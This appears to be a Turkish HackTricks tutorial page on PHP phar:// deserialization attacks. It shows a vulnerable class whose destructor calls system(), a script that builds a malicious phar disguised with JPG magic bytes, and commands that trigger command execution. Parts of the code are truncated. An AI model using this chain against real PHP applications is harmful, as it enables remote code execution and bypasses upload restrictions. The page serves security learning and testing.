# phar:// deserialization {% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}
**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, **hackers tarafından, hackers için oluşturulmuş premium bir bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} **Phar** dosyaları (PHP Archive) **serileştirilmiş formatta meta veri içerir**, bu nedenle, ayrıştırıldığında bu **meta veri** **deserileştirilir** ve **PHP** kodu içinde bir **deserileştirme** açığını kötüye kullanmayı deneyebilirsiniz. Bu özelliğin en iyi yanı, bu deserileştirmenin **file\_get\_contents(), fopen(), file() veya file\_exists(), md5\_file(), filemtime() veya filesize()** gibi PHP kodunu eval etmeyen PHP fonksiyonları kullanıldığında bile gerçekleşmesidir. Yani, bir PHP web uygulamasının **`phar://`** protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir **sınıf** bulursunuz: {% code title="vunl.php" %} ```php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` {% endcode %} Yüklenildiğinde **bu sınıfı kötüye kullanarak rastgele komutlar çalıştıracak** bir **phar** dosyası oluşturabilirsiniz: {% code title="create_phar.php" %} ```php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` {% endcode %} **JPG'nin sihirli baytlarının** (`\xff\xd8\xff`) phar dosyasının başına eklendiğine dikkat edin, bu **mümkün** dosya **yükleme** **kısıtlamalarını** **aşmak** için.\ `test.phar` dosyasını şu şekilde **derleyin**: ```bash php --define phar.readonly=0 create_phar.php ``` Ve zayıf kodu kötüye kullanarak `whoami` komutunu çalıştırın: ```bash php vuln.php ``` ### Referanslar {% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş premium bir hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}